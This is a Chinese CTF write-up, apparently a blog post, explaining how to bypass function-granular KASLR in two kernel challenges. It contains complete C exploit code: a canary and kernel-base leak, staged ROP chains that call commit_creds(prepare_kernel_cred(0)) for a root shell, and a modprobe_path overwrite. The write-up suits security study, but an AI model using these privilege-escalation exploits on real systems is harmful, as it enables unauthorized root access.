fg_kaslr保护下的kernel pwn

14 篇文章 1 订阅
1 篇文章 0 订阅

0x01 kaslr

类似ASLR,内核基址地址加载随机化。

一般绕过思路:

  • 通过泄露内核地址,通过偏移计算出内核基址。(kernel_base=leak_addr - offset)
  • 再根据内核基址和其他函数的偏移得到目标函数地址(如commit_creds等)

0x02 fg_kaslr

来自官方[PATCH v3 00/10] Function Granular KASLR 的描述
在这里插入图片描述
简单的说就是更细粒度的内核地址空间随机化,按照函数级别的细粒度来重排内核代码。所以当再泄露内核地址时,无法通过leak_addr – offset的方法得到内核基址和其他函数地址。

难道就没有办法绕过了吗?

0x03 hxp CTF 2020: kernel-rop

这是一道开启了fg_kaslr保护的栈溢出rop。

查看题目

1.run.sh启动文件,开启了smep,smap kaslr和kpti

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

2.解包文件系统

gunzip initramfs.cpio.gz
cpio -idmv < ./initramfs.cpio

3.查看启动脚本,关闭了kallsyms和dmesg的查看。确定问题模块为hackme.ko

#!/bin/sh

/bin/busybox --install -s

stty raw -echo

chown -R 0:0 /

mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev  && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp  && mount -t tmpfs tmpfs /tmp

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

insmod /hackme.ko
chmod 666 /dev/hackme

4.修改/ect/inittab来将1000改为0,设置为root权限,方便调试

::sysinit:/etc/init.d/rcS
::once:-sh -c 'cat /etc/motd; setuidgid 0 sh; poweroff'

分析hackme.ko

1.read函数
hackme_read函数,copy_to_user()存在泄露,可以泄露kernel_base和cannry
在这里插入图片描述
通过简单程序先泄露stack看看,通过startup_64的值,canary为buf[2],kernel_base可以通过buf[38]-0xa157得到。

void leak_read(int size)
{
    read(fd,buf,size*8);
    for(int i=0;i<size;i++){
        printf("[%d]:%llx\n",i,buf[i]);
    }
}

/ # cat /proc/kallsyms | grep startup_64
ffffffff9c200000 T startup_64
ffffffff9c200030 T secondary_startup_64
ffffffff9c2001f0 T __startup_64
/ # ./exp
[0]:ffff9d97c7601020
[1]:fe0
[2]:bf51a80663aa8100
[3]:ffff9d97c6ca9e10
[4]:ffffaea4c01bfe68
[5]:4
[6]:ffff9d97c6ca9e00
[7]:ffffaea4c01bfef0
[8]:ffff9d97c6ca9e00
[9]:ffffaea4c01bfe80
[10]:ffffffff9c8fcc87
[11]:ffffffff9c8fcc87
[12]:ffff9d97c6ca9e00
[13]:0
[14]:4a83c0
[15]:ffffaea4c01bfea0
[16]:bf51a80663aa8100
[17]:190
[18]:0
[19]:ffffaea4c01bfed8
[20]:ffffffff9c8ca04f
[21]:ffff9d97c6ca9e00
[22]:ffff9d97c6ca9e00
[23]:4a83c0
[24]:190
[25]:0
[26]:ffffaea4c01bff20
[27]:ffffffff9c723bf7
[28]:ffffffff9c930611
[29]:0
[30]:bf51a80663aa8100
[31]:ffffaea4c01bff58
[32]:0
[33]:0
[34]:0
[35]:ffffaea4c01bff30
[36]:ffffffff9c74c13a
[37]:ffffaea4c01bff48
[38]:ffffffff9c20a157
[39]:0
[40]:0

2.write函数
hackme_write函数,存在栈溢出,构造ROP
在这里插入图片描述
3.没有fg_kaslr情况下的思路

  1. 通过read函数泄露kernel_base和canary
  2. 通过offset计算,commit_creds和prepare_kernel_cred,swapgs_restore_regs_and_return_to_usermode()和一些必要的gadget
  3. 利用hackme_write函数进行rop。commit_creds(prepare_kernel_cred(0))
  4. 最后利用swapgs_restore_regs_and_return_to_usermode中的kpti gadget返回到用户空间的get_shell
  5. 提权成功

4.fg_kaslr的影响
由于存在fg_kaslr所以commit_creds和prepare_kernel_cred不是固定值。下面是两次启动的commit_creds,明显能够看到不是固定偏移。

第一次启动
/ # cat /proc/kallsyms | grep commit_creds
ffffffffb291bb40 T commit_creds
第二次启动
/ # cat /proc/kallsyms | grep commit_creds
ffffffffb0b4fa60 T commit_creds

寻找不受fg_kaslr影响的符号

通过比较两次启动时,哪些符号的偏移不会改变可以得到哪些符号不受fg_kaslr保护的影响

1.通过查看_text符号的地址可以知道kernel_base
/ # cat /proc/kallsyms | grep _text
ffffffffb0200000 T _text

因为没找到比较好的办法在qemu的host和guest之间传输文件的办法,所以用输出重定位的办法来得到kallsyms的内容

$./run.sh > kallsyms1.txt   
#在另外一个命令行查看文件大小是否不住变化,不变化表示qemu已经启动完成
cat /proc/kallsyms #命令行不会有显示,都已经重定位输出了
#在另外一个命令行查看文件大小是否不住变化,不变化表示内容已经输出完成

通过脚本查看偏移没有变化的符号并保存到文件中

f1 = open("kallsyms1.txt")
line = f1.readline()
dict1 = {}
kernel_base1=0xffffffff9c600000 #第一次启动的kernel base
print("start read file kallsyms1\n")
while line :
    #['0000000000000000', 'A', '__per_cpu_start']
    sp = line.strip().split(" ")
    if int(sp[0],16) >= kernel_base1:
        dict1[sp[2]]=int(sp[0],16)-kernel_base1
    line = f1.readline()
f1.close()

f2 = open("kallsyms2.txt")
line = f2.readline()
dict2 = {}
kernel_base2=0xffffffff8c800000 #第二次启动的kernel base
print("start read file kallsyms2\n")
while line :
    #['0000000000000000', 'A', '__per_cpu_start']
    sp = line.strip().split(" ")
    if int(sp[0],16) >= kernel_base2:
        dict2[sp[2]]=int(sp[0],16)-kernel_base2
    line = f2.readline()

f2.close()

dict3 = {}
for k in dict1:
    if dict1[k] == dict2[k]:
        dict3[k] = dict1[k]

print("store no fg_kaslr\n")
f3 = open("find_no_fgkaslr.txt",'w+')
for k in dict3:
    s = "%016x : %s\n"%(dict3[k],k)
    f3.write(s)
f3.close()

查看文件寻找哪些是不受fgkaslr影响(原始有9w多条符号,对比之后竟然还有5w多条)

  1. _text(kernel_base+0)~__x86_retpoline_r15(kernel_base+0x400DD6) _text段
  2. kpti绕过gadget swapgs_restore_regs_and_return_to_usermode+0x16(kernel_base+0x200f10)
  3. __start_rodata(kernel_base+0xc00000)~msr_save_dmi_table(kernel_bnase+0xcf69c0) _rodata段
  4. 内核符号表ksymtab(kernel_base+0xf85198)

函数的偏移可以通过ksymtab计算得到,commit_creds = __ksymtab_commit_creds+value_offset

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

exp

因为找不到mov rdi,rax;xxx的gadget,所以可以将返回的值保存在rax,返回到用户空间再处理。

  1. 通过read函数,leak kernel_base和cannary
  2. 通过偏移计算__ksymtab_commit_creds,__ksymtab_prepare_kernel_cred()以及gadgets地址
  3. 构造rop,将ksymtab的value_offset存放到rax,再利用kpti gadget返回到用户空间,计算真实函数地址。通过两次rop得到commit_creds和prepare_kernel_cred函数的地址
  4. 由于找不到类似mov rdi,rax的gadget。可以将提权分为两步1.rop执行prepare_kernel_cred(0),执行结果保存在rax中,利用kpti_gadget返回到用户空间,得到rax(cred_struct_va)。2.ROP执行commit_cred(cred_struct_va),最后利用kpti_gadget返回用户空间执行system(’/bin/sh’);

在这里插入图片描述

//gcc exp.c -o exp --static -masm=intel
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int fd;
size_t buf[0x1000/8];
size_t kernel_base,cannary;
size_t kpti_gadget;
size_t ksymtab_prepare_kernel_cred;
size_t ksymtab_commit_creds;

size_t pop_rdi_ret ;
size_t pop_rax_ret ;
size_t mov_eax_rax10;

size_t commit_creds;
size_t prepare_kernel_cred;
size_t cred_struct_va;
size_t tmp_store;
void init_fd()
{
    fd = open("/dev/hackme",O_RDWR);
    if(fd < 0){
        printf("open faild!");
        exit(1);
    }
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
void get_shell()
{
    if(!getuid()){
        printf("[*]ROOT!!!\n")
        system("/bin/sh");
    }else{
        printf("not root\n");
    }
}
void leak_read(int size)
{
    read(fd,buf,size*8);
    kernel_base = buf[38]-0xa157;
    cannary = buf[2];
    kpti_gadget = kernel_base + 0x200f10+0x16;
    ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fc;
    ksymtab_commit_creds = kernel_base + 0xf87d90;
    pop_rdi_ret = kernel_base+0x6370;//0xffffffff81006370: pop rdi; ret;
    pop_rax_ret = kernel_base+0x4d11;//0xffffffff81004d11: pop rax; ret;
    mov_eax_rax10 = kernel_base+0x4aae;// 0xffffffff81004aad: mov rax, qword ptr [rax + 0x10]; pop rbp; ret;
    printf("[*]----leak info----\n");
    printf("[*]kernel_base: %p\n",kernel_base);
    printf("[*]cannary: %p\n",cannary);
    printf("[*]kpti_gadget: %p\n",kpti_gadget);
    printf("[*]ksymtab_prepare_kernel_cred: %p\n",ksymtab_prepare_kernel_cred);
    printf("[*]ksymtab_commit_creds: %p\n",ksymtab_commit_creds);
    printf("[*]pop_rdi_ret: %p\n",pop_rdi_ret);
    printf("[*]pop_rax_ret: %p\n",pop_rax_ret);
    printf("[*]mov_eax_rax10: %p\n",mov_eax_rax10);
    printf("[*]----leak info----\n");
}
void stage_1(void);
void stage_2(void);
void stage_3(void);
void stage_4(void);
void get_commit_creds(void);

//STAGE1:leak commit_creds
void stage_1(void)
{
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rax_ret;//ret
    payload[off++] = ksymtab_commit_creds - 0x10;//[rax+0x10]
    payload[off++] = mov_eax_rax10;//eax <- [ksymtab_prepare_kernel_cred]
    payload[off++] = 0;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)get_commit_creds;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}

void get_commit_creds(void)
{
    __asm__(
        "mov tmp_store, rax;"
    );
    commit_creds = ksymtab_commit_creds + (int)tmp_store;
    printf("[*]commit_creds: %p\n", commit_creds);
    stage_2();
}
//STAGE2: leak prepare_kernel_cred
void get_prepare_kernel_cred();
void stage_2(void)
{
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rax_ret;//ret
    payload[off++] = ksymtab_prepare_kernel_cred - 0x10;//[rax+0x10]
    payload[off++] = mov_eax_rax10;//eax <- [ksymtab_prepare_kernel_cred]
    payload[off++] = 0;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)get_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}

void get_prepare_kernel_cred()
{
     __asm__(
        "mov tmp_store, rax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
    printf("[*]ksymtab_prepare_kernel_cred: %p\n", ksymtab_prepare_kernel_cred);
    stage_3();
}

//STAGE3 prepare_kernel_cred
void after_prepare_kernel_cred(void);
void stage_3(void)
{
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rdi_ret;//ret
    payload[off++] = 0;
    payload[off++] = prepare_kernel_cred;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)after_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}


void after_prepare_kernel_cred(void)
{
    __asm__(
        "mov tmp_store, rax;"
    );
    cred_struct_va = tmp_store;
    printf("[*]cred_struct_va: %p\n", cred_struct_va);
    stage_4();
}

//STAGE4: call commit_creds(cred_struct_va),open shell
void stage_4()
{
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rdi_ret;//ret
    payload[off++] = cred_struct_va;
    payload[off++] = commit_creds;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)get_shell;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}
int main(){
    save_status();
    init_fd();
    leak_read(50);
    stage_1();
}

0x04 AntCTF x D^3CTF liproll

这是另外一道开启fg_kaslr保护的kernel pwn。这里介绍第二种能够绕过保护的方法。所以下面就简单分析一下题目

分析程序

漏洞点cast_a_spell函数

当输入的size大于0x100时出现栈溢出,可以覆盖global_buffer和size,配合read和write可以实现任意地址读写
在这里插入图片描述
liproll_read,当size过大时存在栈溢出rop
在这里插入图片描述

exp

通过任意读,寻找**/sbin/modprobe**字符串.(得到的字符串地址并不一定就是函数里面引用的,可以通过ida pro查看vmlinux得到偏移

size_t find_modprobe()
{
    size_t off=0;
    size_t addr = kernel_base;
    char name[] = "/sbin/modprobe";
    size_t sbin_modeprobe_addr=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
        magic_read(addr,0x100);
        sbin_modeprobe_addr = memmem((char*)data,0x100,name,14);
        if(sbin_modeprobe_addr){
            sbin_modeprobe_addr = sbin_modeprobe_addr - (size_t)&data;
            printf("[*]sbin_modeprobe_addr: %p\n",sbin_modeprobe_addr+addr);
            //return sbin_modeprobe_addr;
        }
    }
    return sbin_modeprobe_addr;
}

下面就是通过脚本找到的字符串
在这里插入图片描述
通过字符串寻找函数地址,这里用commit_creds为例子

u_int8_t code_commit_creds[] = {0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
size_t find_commit_creds()
{
    size_t off=0;
    size_t addr = kernel_base;
    size_t commit_creds=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
        magic_read(addr,0x100);
        commit_creds = memmem((char*)data,0x100,code_commit_creds,32);
        if(commit_creds){
            commit_creds = commit_creds - (size_t)&data;
            printf("[*]commit_creds: %p\n",commit_creds+addr);
            return commit_creds;
        }
    }
    
}

最终exp

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE
int fd;
size_t kernel_base;
size_t data[0x1000]={0};

void cast(int fd,size_t data,size_t size)
{
    size_t arg[2] ={data,size}; 
    ioctl(fd,0xD3C7F01,arg);
}

void reset(int fd,int index)
{
    ioctl(fd,0xD3C7F02,index);
}

void create(int fd)
{
    ioctl(fd,0xD3C7F03);
}

void choose(int fd,int index)
{
    size_t arg[1] = {index};
    ioctl(fd,0xD3C7F04,arg);
}

void info()
{
    for(int i=0;i<0x200/8;i++)
        printf("[*]%d: %p\n",i,data[i]);
}

void magic_read(size_t addr,size_t size)
{
    choose(fd,0);
    size_t data1[0x100]={0};
    data1[0x100/8]=addr;
    data1[0x100/8 +1]=size;
    cast(fd,data1,0x110);
    read(fd,data,size);
}

void magic_write(size_t addr)
{
    choose(fd,0);
    data[0x100/8]=addr;
    cast(fd,data,0x108);
    memcpy(data,"/tmp/magic.sh\x00",14);
    cast(fd,data,0x10);
}
size_t find_modprobe()
{
    size_t off=0;
    size_t addr = kernel_base;
    char name[] = "/sbin/modprobe";
    size_t sbin_modeprobe_addr=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
        magic_read(addr,0x100);
        sbin_modeprobe_addr = memmem((char*)data,0x100,name,14);
        if(sbin_modeprobe_addr){
            sbin_modeprobe_addr = sbin_modeprobe_addr - (size_t)&data;
            printf("[*]sbin_modeprobe_addr: %p\n",sbin_modeprobe_addr+addr);
            //return sbin_modeprobe_addr;
        }
    }
    return sbin_modeprobe_addr;
}
u_int8_t code_commit_creds[] = {0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
size_t find_commit_creds()
{
    size_t off=0;
    size_t addr = kernel_base;
    size_t commit_creds=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
        magic_read(addr,0x100);
        commit_creds = memmem((char*)data,0x100,code_commit_creds,32);
        if(commit_creds){
            commit_creds = commit_creds - (size_t)&data;
            printf("[*]commit_creds: %p\n",commit_creds+addr);
            return commit_creds;
        }
    }
    
}
void get_shell()
{
    if(!getuid()){
        printf("[*]ROOT!!!\n");
        system("/bin/sh");
    }else{
        printf("not root\n");
    }
}
int main()
{
    printf("start\n");
    signal(SIGSEGV, get_shell);
    fd = open("/dev/liproll", O_RDWR);
    if(fd <= 0){
        printf("open liproll error\n");
        exit(-1);
    }
    create(fd);
    choose(fd,0);
    read(fd,data,0x200);
    //info();
    kernel_base = data[52] - 0x20007c;
    printf("[*]kernel_base: %p\n",kernel_base);
    //find_commit_creds();
    //find_modprobe();
    //exit(-1);
    size_t modeprobe = kernel_base+0x1448460;
    magic_write(modeprobe);
    system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/magic.sh");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/123");
    system("chmod +x /tmp/magic.sh");
    system("chmod +x /tmp/123");
    system("/tmp/123");
    system("cat /tmp/flag");
    return 0;
}

0x05 总结

虽然fg_kaslr使原本通过偏移计算内核基址和函数地址的方法失效了。但是因为内核加载过程中_stext段是通过直接映射的方法加载的,所以这一段的内容并不会受fg_kaslr的影响。其他不受fg_kaslr影响的符号可以通过对比两次符号的偏移来得到。

当存在任意地址读写时,可以通过暴力搜索内存比较字节码的方法找到想要的函数和字符串。

参考
Hxp2020 kernel rop wp::https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
https://zhangyidong.top/2021/02/10/kernel_pwn(fg_kaslr)/

AntCTF官方题解: https://www.anquanke.com/post/id/234503#h3-9
FG_kaslr patch: https://lwn.net/Articles/824307/
KPTI绕过:https://bbs.pediy.com/thread-258975.htm

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值